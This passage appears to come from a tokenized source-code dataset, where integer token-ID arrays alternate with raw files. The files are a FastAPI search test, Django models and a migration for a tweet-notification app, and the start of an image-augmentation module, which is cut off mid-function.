29918,
12083,
29892,
8783,
29918,
978,
29892,
848,
29918,
12657,
29918,
791,
297,
14319,
29898,
4905,
29918,
8771,
414,
29892,
8783,
29918,
7039,
29892,
848,
29918,
1359,
414,
29918,
791,
1125,
13,
4706,
27262,
29898,
13,
9651,
1904,
29892,
13,
9651,
848,
29918,
12657,
29918,
791,
29892,
13,
9651,
8783,
29918,
978,
29922,
24713,
29918,
978,
29892,
13,
9651,
474,
283,
29918,
8768,
29922,
29875,
283,
29918,
8768,
29892,
13,
9651,
3800,
29918,
6194,
29922,
8824,
565,
274,
16434,
29889,
20387,
29931,
29889,
1525,
29911,
1177,
2190,
2544,
29918,
1164,
1683,
274,
16434,
29889,
20387,
29931,
29889,
29934,
15695,
29918,
1164,
16786,
29892,
13,
9651,
4742,
29922,
16859,
29889,
20387,
29931,
29889,
2287,
19059,
29892,
13,
9651,
3806,
29918,
9902,
29922,
16859,
29889,
18267,
29889,
5746,
4162,
1783,
3352,
29918,
15989,
8647,
29903,
29892,
13,
9651,
3806,
29918,
9902,
29918,
3754,
29918,
25027,
29922,
16859,
29889,
18267,
29889,
5746,
4162,
1783,
3352,
29918,
15989,
8647,
29903,
29918,
5425,
29954,
1529,
29918,
4986,
29931,
29892,
13,
9651,
1962,
29918,
12083,
29922,
4905,
29918,
12083,
29892,
13,
4706,
1723,
13,
4706,
12231,
675,
580,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
543,
19737,
29911,
25350,
4669,
360,
2650,
428,
26101,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
376,
489,
2917,
29899,
1445,
613,
13,
4706,
2322,
543,
613,
13,
4706,
1539,
485,
279,
543,
7724,
613,
13,
4706,
1371,
543,
2084,
304,
2295,
934,
613,
13,
4706,
1134,
29922,
710,
29892,
13,
1678,
1723,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
525,
489,
17469,
29899,
16175,
742,
13,
4706,
1134,
29922,
524,
29892,
13,
4706,
1371,
29922,
877,
12596,
680,
306,
4345,
29918,
13171,
29918,
29933,
14789,
491,
445,
5253,
29889,
910,
7128,
2486,
525,
13,
795,
525,
786,
15190,
278,
6509,
6554,
29892,
1353,
310,
24372,
29892,
322,
577,
373,
6169,
876,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
2997,
29918,
10003,
613,
1134,
29922,
524,
29892,
2322,
29922,
29900,
29897,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
376,
489,
11014,
29899,
1688,
613,
13,
4706,
2731,
543,
11014,
29918,
1688,
613,
13,
4706,
1371,
543,
6132,
451,
1243,
278,
2186,
1904,
613,
13,
4706,
3158,
543,
8899,
29918,
3009,
613,
13,
1678,
1723,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
376,
489,
1509,
29899,
20158,
3377,
613,
13,
4706,
2731,
543,
1509,
29918,
20158,
3377,
613,
13,
4706,
1371,
543,
11403,
12489,
3377,
29990,
17927,
313,
1123,
339,
2658,
12489,
3377,
29990,
5130,
19123,
13,
4706,
3158,
543,
8899,
29918,
3009,
613,
13,
4706,
2322,
29922,
8824,
13,
1678,
1723,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
376,
25707,
613,
13,
4706,
1371,
543,
2111,
1598,
2295,
3987,
773,
278,
1899,
29899,
1220,
613,
13,
4706,
2322,
29922,
8516,
29892,
13,
4706,
302,
5085,
29922,
1191,
5510,
29889,
1525,
29032,
8032,
29892,
13,
1678,
1723,
13,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
1678,
396,
3251,
403,
263,
5412,
7639,
3553,
363,
445,
1065,
29889,
13,
1678,
396,
3940,
29901,
318,
5416,
12623,
337,
3687,
373,
2897,
29889,
332,
2685,
29892,
577,
372,
338,
451,
15201,
491,
29892,
13,
1678,
396,
321,
29889,
29887,
1696,
4036,
29889,
26776,
29889,
13,
1678,
7639,
29918,
333,
353,
318,
5416,
29889,
25118,
29946,
580,
13,
13,
1678,
954,
29918,
29887,
13364,
353,
938,
29898,
359,
29889,
21813,
3366,
11686,
10249,
29918,
14226,
20068,
565,
376,
11686,
10249,
29918,
14226,
29908,
297,
2897,
29889,
21813,
1683,
29871,
29896,
13,
1678,
6389,
29889,
5721,
7541,
353,
954,
29918,
29887,
13364,
1405,
29871,
29896,
13,
13,
1678,
565,
6389,
29889,
5721,
7541,
29901,
13,
4706,
4842,
305,
29889,
29883,
6191,
29889,
842,
29918,
10141,
29898,
5085,
29889,
2997,
29918,
10003,
29897,
13,
4706,
4842,
305,
29889,
5721,
7541,
29889,
2344,
29918,
5014,
29918,
2972,
29898,
13,
9651,
14998,
543,
29876,
617,
29880,
613,
2069,
29918,
5696,
543,
6272,
597,
29908,
13,
4706,
1723,
13,
4706,
12231,
675,
580,
13,
13,
1678,
274,
16434,
29889,
14634,
29918,
3166,
29918,
1445,
29898,
5085,
29889,
2917,
29918,
1445,
29897,
13,
13,
1678,
396,
1334,
864,
304,
679,
278,
19474,
12336,
29918,
9464,
515,
278,
6389,
7389,
29892,
565,
372,
4864,
29892,
577,
13,
1678,
396,
591,
508,
6230,
12183,
29889,
1334,
674,
10366,
278,
1791,
310,
278,
2295,
297,
263,
2846,
13,
1678,
396,
3454,
29889,
13,
1678,
10366,
29918,
8149,
29898,
16859,
29892,
6389,
29889,
25707,
29892,
6024,
12015,
12336,
29918,
9464,
11287,
13,
13,
1678,
1962,
29918,
3972,
353,
274,
16434,
29889,
12015,
12336,
29918,
9464,
13,
1678,
565,
1962,
29918,
3972,
29901,
13,
4706,
29356,
29898,
4905,
29918,
3972,
29897,
13,
13,
1678,
565,
679,
29918,
10003,
580,
1275,
29871,
29900,
29901,
13,
4706,
934,
29918,
21707,
353,
3619,
29918,
14669,
22168,
1445,
1649,
29892,
1962,
29918,
3972,
29892,
6389,
29897,
13,
1678,
1683,
29901,
13,
4706,
934,
29918,
21707,
353,
3619,
29918,
14669,
29898,
13,
9651,
4770,
1445,
1649,
718,
17411,
24602,
29995,
29879,
29915,
1273,
679,
29918,
10003,
3285,
13,
9651,
1962,
29918,
3972,
29892,
13,
9651,
6389,
29892,
13,
9651,
1480,
29918,
11058,
29918,
5563,
29922,
21027,
29889,
11341,
1806,
2965,
1964,
29892,
13,
9651,
4078,
29918,
5559,
29918,
3859,
29922,
8824,
29897,
13,
13,
1678,
396,
15854,
19574,
4386,
2295,
3620,
408,
3734,
491,
13,
1678,
396,
2045,
597,
3292,
29889,
510,
29914,
15445,
690,
2842,
29914,
13168,
2214,
15755,
29899,
1785,
16580,
29914,
8336,
29914,
29941,
29906,
29955,
12328,
29906,
29929,
29890,
617,
29946,
29929,
29906,
29946,
29872,
29941,
29945,
6448,
29953,
29896,
29883,
29945,
29929,
29947,
29955,
29955,
29881,
29945,
29874,
29896,
29881,
29906,
29945,
1327,
29955,
29945,
2142,
29937,
14369,
29899,
29887,
3746,
29899,
26495,
13,
1678,
565,
6389,
29889,
17469,
29918,
16175,
29901,
13,
4706,
396,
10318,
773,
1192,
25707,
937,
29892,
769,
5712,
29889,
13,
4706,
10366,
29918,
8149,
29898,
16859,
29892,
6389,
29889,
25707,
29892,
518,
13,
9651,
525,
29903,
5607,
5348,
29889,
29902,
4345,
29918,
13171,
29918,
29933,
14789,
742,
525,
29903,
5607,
5348,
29889,
25416,
29918,
29519,
742,
525,
29903,
5607,
5348,
29889,
12648,
29918,
1806,
1001,
742,
13,
9651,
525,
29903,
5607,
5348,
29889,
1254,
29923,
7024,
742,
525,
29903,
5607,
5348,
29889,
3210,
16658,
29925,
6992,
29911,
29918,
13171,
5971,
29928,
29915,
13,
308,
2314,
13,
4706,
4974,
954,
29918,
29887,
13364,
297,
313,
29896,
29892,
29871,
29906,
29892,
29871,
29946,
29897,
13,
4706,
6287,
353,
6389,
29889,
17469,
29918,
16175,
13,
4706,
12183,
29889,
3888,
877,
3373,
26747,
2295,
363,
396,
22796,
29879,
353,
1273,
29879,
742,
954,
29918,
29887,
13364,
29897,
13,
13,
4706,
822,
2767,
29918,
2917,
29898,
1989,
29892,
716,
29918,
1767,
1125,
13,
9651,
1820,
29918,
1761,
353,
1820,
29889,
5451,
12839,
1495,
13,
9651,
270,
353,
274,
16434,
13,
9651,
363,
1014,
1989,
297,
1820,
29918,
1761,
7503,
29899,
29896,
5387,
13,
18884,
270,
353,
274,
16434,
29961,
1491,
1989,
29962,
13,
9651,
1014,
1989,
353,
1820,
29918,
1761,
14352,
29896,
29962,
13,
9651,
2030,
29918,
1767,
353,
270,
29961,
1491,
1989,
29962,
13,
9651,
12183,
29889,
3888,
877,
3373,
26747,
274,
16434,
29889,
29995,
29879,
29901,
1273,
29879,
1599,
1273,
29879,
742,
1820,
29892,
2030,
29918,
1767,
29892,
13,
462,
308,
716,
29918,
1767,
29897,
13,
9651,
270,
29961,
1491,
1989,
29962,
353,
716,
29918,
1767,
13,
13,
4706,
2767,
29918,
2917,
877,
29903,
5607,
5348,
29889,
29902,
4345,
29918,
13171,
29918,
29933,
14789,
742,
13,
462,
418,
903,
11177,
29918,
524,
29898,
16859,
29889,
29903,
5607,
5348,
29889,
29902,
4345,
29918,
13171,
29918,
29933,
14789,
847,
6287,
876,
13,
4706,
2767,
29918,
2917,
877,
29903,
5607,
5348,
29889,
25416,
29918,
29519,
742,
274,
16434,
29889,
29903,
5607,
5348,
29889,
25416,
29918,
29519,
847,
6287,
29897,
13,
4706,
2767,
29918,
2917,
877,
29903,
5607,
5348,
29889,
12648,
29918,
1806,
1001,
742,
13,
462,
418,
903,
11177,
29918,
524,
29898,
16859,
29889,
29903,
5607,
5348,
29889,
12648,
29918,
1806,
1001,
334,
6287,
876,
13,
4706,
2767,
29918,
2917,
877,
29903,
5607,
5348,
29889,
3210,
16658,
29925,
6992,
29911,
29918,
13171,
5971,
29928,
742,
13,
462,
418,
903,
11177,
29918,
524,
29898,
16859,
29889,
29903,
5607,
5348,
29889,
3210,
16658,
29925,
6992,
29911,
29918,
13171,
5971,
29928,
334,
6287,
876,
13,
4706,
2767,
29918,
2917,
877,
29903,
5607,
5348,
29889,
1254,
29923,
7024,
742,
13,
462,
418,
18761,
7373,
11177,
29918,
524,
29898,
29916,
334,
6287,
29897,
363,
921,
297,
274,
16434,
29889,
29903,
5607,
5348,
29889,
1254,
29923,
7024,
876,
13,
13,
1678,
12183,
29889,
3888,
877,
3373,
26747,
2295,
515,
6273,
1495,
13,
1678,
274,
16434,
29889,
14634,
29918,
3166,
29918,
1761,
29898,
5085,
29889,
25707,
29897,
13,
1678,
274,
16434,
29889,
9021,
911,
580,
13,
13,
1678,
17927,
353,
12183,
29889,
657,
16363,
703,
13168,
2214,
15755,
29918,
1785,
16580,
1159,
13,
1678,
17927,
29889,
3888,
703,
15156,
6571,
22796,
29879,
1642,
4830,
29898,
1949,
29918,
29887,
13364,
876,
13,
1678,
17927,
29889,
3888,
29898,
5085,
29897,
13,
13,
1678,
17927,
29889,
3888,
703,
28916,
292,
8829,
5235,
313,
29885,
523,
2125,
777,
931,
25760,
13,
1678,
17927,
29889,
3888,
14182,
29876,
29908,
718,
6314,
29918,
6272,
29918,
3888,
3101,
13,
13,
1678,
17927,
29889,
3888,
703,
29147,
5285,
934,
6571,
1642,
4830,
29898,
5085,
29889,
2917,
29918,
1445,
876,
13,
1678,
411,
1722,
29898,
5085,
29889,
2917,
29918,
1445,
29892,
376,
29878,
1159,
408,
274,
29888,
29901,
13,
4706,
2295,
29918,
710,
353,
6634,
29876,
29908,
718,
274,
29888,
29889,
949,
580,
13,
4706,
934,
29918,
21707,
29889,
3888,
29898,
2917,
29918,
710,
29897,
13,
1678,
934,
29918,
21707,
29889,
3888,
703,
27795,
411,
2295,
3583,
29876,
8875,
1642,
4830,
29898,
16859,
876,
13,
1678,
565,
679,
29918,
10003,
580,
1275,
29871,
29900,
29901,
13,
4706,
2295,
29918,
4905,
353,
788,
29918,
2230,
29918,
517,
29918,
2084,
29898,
2605,
29898,
4905,
29918,
3972,
29897,
847,
525,
2917,
29889,
25162,
1495,
13,
4706,
411,
1722,
29898,
2917,
29918,
4905,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
9651,
285,
29889,
3539,
29898,
16859,
29889,
15070,
3101,
13,
13,
1678,
12183,
29889,
3888,
877,
1252,
15362,
1178,
29901,
1273,
29879,
742,
7639,
29918,
333,
29897,
13,
1678,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
4905,
29918,
3972,
29892,
525,
735,
15362,
29918,
333,
29889,
3945,
5477,
525,
29893,
1495,
408,
285,
29901,
13,
4706,
285,
29889,
3539,
877,
29995,
29879,
29905,
29876,
29915,
1273,
7639,
29918,
333,
29897,
13,
13,
1678,
1962,
29918,
2917,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
16859,
29889,
12015,
12336,
29918,
9464,
29892,
525,
2917,
29889,
21053,
1495,
13,
1678,
17927,
29889,
3888,
703,
29903,
5555,
2295,
964,
29901,
6571,
1642,
4830,
29898,
4905,
29918,
2917,
29918,
2084,
876,
13,
1678,
396,
4078,
975,
15638,
1904,
2295,
297,
278,
1962,
3884,
13,
1678,
4078,
29918,
2917,
29898,
16859,
29892,
1962,
29918,
2917,
29918,
2084,
29897,
13,
13,
1678,
1904,
353,
7945,
29898,
16859,
29892,
6389,
29889,
2997,
29918,
10003,
29892,
6389,
29889,
5721,
7541,
29892,
671,
29918,
20158,
3377,
29922,
5085,
29889,
1509,
29918,
20158,
3377,
29897,
13,
13,
1678,
565,
451,
6389,
29889,
11014,
29918,
1688,
29901,
13,
4706,
1065,
29918,
1688,
29898,
16859,
29892,
1904,
29892,
6389,
29889,
5721,
7541,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1667,
580,
13,
2
] |
tests/test_app.py | MrHenryD/serverless-lambda | 0 | 1602515 | <reponame>MrHenryD/serverless-lambda
from fastapi.testclient import TestClient
from main import app
def test_search__success(mock_response_api__jikan_v4_anime__success):
client = TestClient(app)
response = client.get("/anime", params=[("q", "some-text")])
assert response.status_code == 200
assert response.json() == {
"count": 2,
"results": [
{"title": "Title A", "url": "https://example.com/title-a"},
{"title": "Title B", "url": "https://example.com/title-b"}
],
}
def test_search__fail(mock_response_api__jikan_v4_anime__fail):
client = TestClient(app)
response = client.get("/anime", params=[("q", "some-text")])
assert response.status_code == 200
assert response.json() == {
"count": 0,
"results": [],
}
def test_search__invalid_parameters():
client = TestClient(app)
response = client.get("/anime", params=[("q", "")])
assert response.status_code == 422
| [
1,
529,
276,
1112,
420,
29958,
20335,
24030,
719,
29928,
29914,
2974,
2222,
29899,
2892,
13,
3166,
5172,
2754,
29889,
1688,
4645,
1053,
4321,
4032,
13,
13,
3166,
1667,
1053,
623,
13,
13,
13,
1753,
1243,
29918,
4478,
1649,
8698,
29898,
17640,
29918,
5327,
29918,
2754,
1649,
29926,
7941,
29918,
29894,
29946,
29918,
273,
603,
1649,
8698,
1125,
13,
1678,
3132,
353,
4321,
4032,
29898,
932,
29897,
13,
1678,
2933,
353,
3132,
29889,
657,
11974,
273,
603,
613,
8636,
11759,
703,
29939,
613,
376,
5372,
29899,
726,
1159,
2314,
13,
13,
1678,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
1678,
4974,
2933,
29889,
3126,
580,
1275,
426,
13,
9651,
376,
2798,
1115,
29871,
29906,
29892,
13,
9651,
376,
9902,
1115,
518,
13,
18884,
8853,
3257,
1115,
376,
7030,
319,
613,
376,
2271,
1115,
376,
991,
597,
4773,
29889,
510,
29914,
3257,
29899,
29874,
10758,
13,
18884,
8853,
3257,
1115,
376,
7030,
350,
613,
376,
2271,
1115,
376,
991,
597,
4773,
29889,
510,
29914,
3257,
29899,
29890,
9092,
13,
9651,
21251,
13,
4706,
500,
13,
13,
1753,
1243,
29918,
4478,
1649,
14057,
29898,
17640,
29918,
5327,
29918,
2754,
1649,
29926,
7941,
29918,
29894,
29946,
29918,
273,
603,
1649,
14057,
1125,
13,
1678,
3132,
353,
4321,
4032,
29898,
932,
29897,
13,
1678,
2933,
353,
3132,
29889,
657,
11974,
273,
603,
613,
8636,
11759,
703,
29939,
613,
376,
5372,
29899,
726,
1159,
2314,
13,
13,
1678,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
1678,
4974,
2933,
29889,
3126,
580,
1275,
426,
13,
9651,
376,
2798,
1115,
29871,
29900,
29892,
13,
9651,
376,
9902,
1115,
19997,
13,
4706,
500,
13,
13,
1753,
1243,
29918,
4478,
1649,
20965,
29918,
16744,
7295,
13,
1678,
3132,
353,
4321,
4032,
29898,
932,
29897,
13,
1678,
2933,
353,
3132,
29889,
657,
11974,
273,
603,
613,
8636,
11759,
703,
29939,
613,
20569,
2314,
13,
13,
1678,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29946,
29906,
29906,
13,
2
] |
project_V1/core/models.py | arnabtarwani/UCD-MSc-Project | 1 | 85755 | <reponame>arnabtarwani/UCD-MSc-Project
from django.db import models
# Create your models here.
# model for following table
class following(models.Model):
class Meta:
unique_together=(("user_id","twitter_handle"),)
user_id=models.CharField("user_id",max_length=40)
twitter_handle=models.CharField("twitter_handle",max_length=40,default="<EMAIL>")
friend_Email=models.CharField("friend_Email", max_length=40)
url=models.CharField("url",max_length=100,default="")
isActive=models.BooleanField(default=False)
# model for tweets_data table
class tweets_data(models.Model):
twitter_handle=models.CharField("twitter_handle",max_length=40)
tweet_id=models.BigIntegerField("tweets_id",primary_key=True)
tweet_data=models.TextField("tweet_data",max_length=1000)
tweet_date=models.DateTimeField("date")
is_notification=models.BooleanField(default=False)
score=models.FloatField("score",default=0)
sum_score=models.IntegerField("sum_score",default=0)
counter=models.IntegerField("counter",default=0)
# model for notification_data table
class notification_data(models.Model):
twitter_handle=models.CharField("twitter_handle",max_length=40)
tweet_data=models.TextField("tweet_data",max_length=1000)
noti_date=models.DateTimeField("noti_date")
is_notified=models.BooleanField(default=False) | [
1,
529,
276,
1112,
420,
29958,
2753,
370,
12637,
29893,
3270,
29914,
29965,
6530,
29899,
4345,
29883,
29899,
7653,
13,
3166,
9557,
29889,
2585,
1053,
4733,
13,
13,
29937,
6204,
596,
4733,
1244,
29889,
13,
29937,
1904,
363,
1494,
1591,
13,
1990,
1494,
29898,
9794,
29889,
3195,
1125,
13,
1678,
770,
20553,
29901,
13,
4706,
5412,
29918,
29873,
12966,
7607,
703,
1792,
29918,
333,
3284,
24946,
29918,
8411,
4968,
29897,
13,
1678,
1404,
29918,
333,
29922,
9794,
29889,
27890,
703,
1792,
29918,
333,
613,
3317,
29918,
2848,
29922,
29946,
29900,
29897,
13,
1678,
23394,
29918,
8411,
29922,
9794,
29889,
27890,
703,
24946,
29918,
8411,
613,
3317,
29918,
2848,
29922,
29946,
29900,
29892,
4381,
543,
29966,
26862,
6227,
29958,
1159,
13,
1678,
5121,
29918,
9823,
29922,
9794,
29889,
27890,
703,
18326,
29918,
9823,
613,
4236,
29918,
2848,
29922,
29946,
29900,
29897,
13,
1678,
3142,
29922,
9794,
29889,
27890,
703,
2271,
613,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29892,
4381,
543,
1159,
13,
1678,
338,
9966,
29922,
9794,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
29897,
13,
13,
29937,
1904,
363,
7780,
1691,
29918,
1272,
1591,
13,
1990,
7780,
1691,
29918,
1272,
29898,
9794,
29889,
3195,
1125,
13,
1678,
23394,
29918,
8411,
29922,
9794,
29889,
27890,
703,
24946,
29918,
8411,
613,
3317,
29918,
2848,
29922,
29946,
29900,
29897,
13,
1678,
7780,
300,
29918,
333,
29922,
9794,
29889,
6970,
7798,
3073,
703,
29873,
705,
1691,
29918,
333,
613,
16072,
29918,
1989,
29922,
5574,
29897,
13,
1678,
7780,
300,
29918,
1272,
29922,
9794,
29889,
15778,
703,
29873,
16668,
29918,
1272,
613,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29900,
29897,
13,
1678,
7780,
300,
29918,
1256,
29922,
9794,
29889,
11384,
3073,
703,
1256,
1159,
13,
1678,
338,
29918,
24671,
29922,
9794,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
29897,
13,
1678,
8158,
29922,
9794,
29889,
11031,
3073,
703,
13628,
613,
4381,
29922,
29900,
29897,
13,
1678,
2533,
29918,
13628,
29922,
9794,
29889,
7798,
3073,
703,
2083,
29918,
13628,
613,
4381,
29922,
29900,
29897,
13,
1678,
6795,
29922,
9794,
29889,
7798,
3073,
703,
11808,
613,
4381,
29922,
29900,
29897,
13,
29937,
1904,
363,
12519,
29918,
1272,
1591,
13,
1990,
12519,
29918,
1272,
29898,
9794,
29889,
3195,
1125,
13,
1678,
23394,
29918,
8411,
29922,
9794,
29889,
27890,
703,
24946,
29918,
8411,
613,
3317,
29918,
2848,
29922,
29946,
29900,
29897,
13,
1678,
7780,
300,
29918,
1272,
29922,
9794,
29889,
15778,
703,
29873,
16668,
29918,
1272,
613,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
29900,
29897,
13,
1678,
451,
29875,
29918,
1256,
29922,
9794,
29889,
11384,
3073,
703,
1333,
29875,
29918,
1256,
1159,
13,
1678,
338,
29918,
1333,
2164,
29922,
9794,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
29897,
2
] |
Hitalent/UI/migrations/0001_initial.py | iliyas01/Django | 0 | 1613194 | # Generated by Django 4.0.3 on 2022-03-25 07:33
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Profile',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first_name', models.CharField(max_length=100)),
('last_name', models.CharField(max_length=100)),
('avatar', models.ImageField(default='default.jpg', upload_to='avatars')),
('bio', models.TextField()),
('gender', models.CharField(choices=[('M', 'Male'), ('F', 'Female')], max_length=1)),
('educational_details', models.TextField()),
('git_profile', models.CharField(max_length=200)),
('phone', models.IntegerField(null=True)),
('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
]
| [
1,
396,
3251,
630,
491,
15337,
29871,
29946,
29889,
29900,
29889,
29941,
373,
29871,
29906,
29900,
29906,
29906,
29899,
29900,
29941,
29899,
29906,
29945,
29871,
29900,
29955,
29901,
29941,
29941,
13,
13,
3166,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
5215,
9557,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
2847,
353,
5852,
13,
13,
1678,
9962,
353,
518,
13,
4706,
9725,
800,
29889,
2774,
932,
519,
29918,
10836,
29898,
11027,
29889,
20656,
29950,
29918,
11889,
29918,
20387,
29931,
511,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
13909,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
6970,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
4102,
29918,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
8243,
13,
18884,
6702,
4230,
29918,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
8243,
13,
18884,
6702,
485,
14873,
742,
4733,
29889,
2940,
3073,
29898,
4381,
2433,
4381,
29889,
6173,
742,
6441,
29918,
517,
2433,
485,
271,
1503,
1495,
511,
13,
18884,
6702,
24840,
742,
4733,
29889,
15778,
25739,
13,
18884,
6702,
26098,
742,
4733,
29889,
27890,
29898,
1859,
1575,
11759,
877,
29924,
742,
525,
29924,
744,
5477,
6702,
29943,
742,
525,
29943,
331,
744,
1495,
1402,
4236,
29918,
2848,
29922,
29896,
8243,
13,
18884,
6702,
287,
1682,
1288,
29918,
14144,
742,
4733,
29889,
15778,
25739,
13,
18884,
6702,
5559,
29918,
10185,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29900,
29900,
8243,
13,
18884,
6702,
6710,
742,
4733,
29889,
7798,
3073,
29898,
4304,
29922,
5574,
8243,
13,
18884,
6702,
1792,
742,
4733,
29889,
6716,
1762,
6716,
3073,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
29922,
11027,
29889,
20656,
29950,
29918,
11889,
29918,
20387,
29931,
8243,
13,
9651,
21251,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
source/utils/augmentations.py | dovietchinh/multi-task-classification | 0 | 3490 | <reponame>dovietchinh/multi-task-classification<filename>source/utils/augmentations.py<gh_stars>0
import numpy as np
import cv2
import random
def preprocess(img,img_size,padding=True):
"""[summary]
Args:
img (np.ndarray): images
img_size (int,list,tuple): target size. eg: 224 , (224,224) or [224,224]
padding (bool): padding img before resize. Prevent from image distortion. Defaults to True.
Returns:
images (np.ndarray): images in target size
"""
if padding:
height,width,_ = img.shape
delta = height - width
if delta > 0:
img = np.pad(img,[[0,0],[delta//2,delta//2],[0,0]], mode='constant',constant_values =255)
else:
img = np.pad(img,[[-delta//2,-delta//2],[0,0],[0,0]], mode='constant',constant_values =255)
if isinstance(img_size,int):
img_size = (img_size,img_size)
return cv2.resize(img,img_size)
class RandAugment:
def __init__(self, augment_params):
self.num_layers = augment_params['num_layers']
self.AUGMENT_FUNCTION = {
'fliplr' : RandAugment.augment_fliplr if augment_params.get('fliplr') else None,
'augment_hsv' : RandAugment.augment_hsv if augment_params.get('augment_hsv') else None,
'hist_equalize' : RandAugment.hist_equalize if augment_params.get('hist_equalize') else None,
'solarize' : RandAugment.solarize if augment_params.get('solarize') else None,
'posterize': RandAugment.posterize if augment_params.get('posterize') else None,
'adjust_brightness': RandAugment.adjust_brightness if augment_params.get('adjust_brightness') else None,
'invert' : RandAugment.invert if augment_params.get('invert') else None,
'contrast': RandAugment.contrast if augment_params.get('contrast') else None,
'shearX' : RandAugment.shear_x if augment_params.get('shearX') else None,
'shearY' : RandAugment.shear_y if augment_params.get('shearY') else None,
'translateX' : RandAugment.translate_x if augment_params.get('translateX') else None,
'translateY' : RandAugment.translate_y if augment_params.get('translateY') else None,
'sharpness' : RandAugment.sharpness if augment_params.get('sharpness') else None,
'cutout' : RandAugment.cutout if augment_params.get('cutout') else None,
'rotate' : RandAugment.rotate if augment_params.get('rotate') else None,
'cut_25_left' : RandAugment.cut_25_left if augment_params.get('cut_25_left') else None,
'cut_25_right': RandAugment.cut_25_right if augment_params.get('cut_25_right') else None,
'cut_25_above': RandAugment.cut_25_above if augment_params.get('cut_25_above') else None,
'cut_25_under': RandAugment.cut_25_under if augment_params.get('cut_25_under') else None,
# 'random_crop':random_crop
}
self.ARGS_LIMIT = {
'fliplr' : augment_params.get('fliplr'),
'augment_hsv': augment_params.get('augment_hsv'),
'hist_equalize' : augment_params.get('hist_equalize'),
'solarize' : augment_params.get('solarize'),
'posterize': augment_params.get('posterize'),
'adjust_brightness': augment_params.get('adjust_brightness'),
'invert' : augment_params.get('invert'),
'contrast': augment_params.get('contrast'),
'shearX' : augment_params.get('shearX'),
'shearY' : augment_params.get('shearY'),
'translateX' : augment_params.get('translateX'),
'translateY' : augment_params.get('translateY'),
'sharpness' : augment_params.get('sharpness'),
'cutout' : augment_params.get('cutout'),
'rotate' : augment_params.get('rotate'),
'cut_25_left' : augment_params.get('cut_25_left'),
'cut_25_right': augment_params.get('cut_25_right'),
'cut_25_above': augment_params.get('cut_25_above'),
'cut_25_under': augment_params.get('cut_25_under')
# 'random_crop':random_crop
}
self.policy = list(k for k,v in self.AUGMENT_FUNCTION.items() if v)
# print(self.policy)
def mixup(img1,img2,factor):
img = img1.astype('float')* factor + img2.astype('float') * (1-factor)
img = np.clip(img, 0,255)
img = img.astype('uint8')
return img
def augment_fliplr(img,level):
if random.random() < level:
return np.fliplr(img)
return img
def augment_hsv(im, level=None, hgain=0.015, sgain=0.7, vgain=0.4):
im = im.copy()
# HSV color-space augmentation
if hgain or sgain or vgain:
r = np.random.uniform(-1, 1, 3) * [hgain, sgain, vgain] + 1 # random gains
hue, sat, val = cv2.split(cv2.cvtColor(im, cv2.COLOR_BGR2HSV))
dtype = im.dtype # uint8
x = np.arange(0, 256, dtype=r.dtype)
lut_hue = ((x * r[0]) % 180).astype(dtype)
lut_sat = np.clip(x * r[1], 0, 255).astype(dtype)
lut_val = np.clip(x * r[2], 0, 255).astype(dtype)
im_hsv = cv2.merge((cv2.LUT(hue, lut_hue), cv2.LUT(sat, lut_sat), cv2.LUT(val, lut_val)))
cv2.cvtColor(im_hsv, cv2.COLOR_HSV2BGR, dst=im) # no return needed
return im_hsv
def hist_equalize(im, level=None,clahe=True, bgr=True):
im = im.copy()
# Equalize histogram on BGR image 'im' with im.shape(n,m,3) and range 0-255
yuv = cv2.cvtColor(im, cv2.COLOR_BGR2YUV if bgr else cv2.COLOR_RGB2YUV)
if clahe:
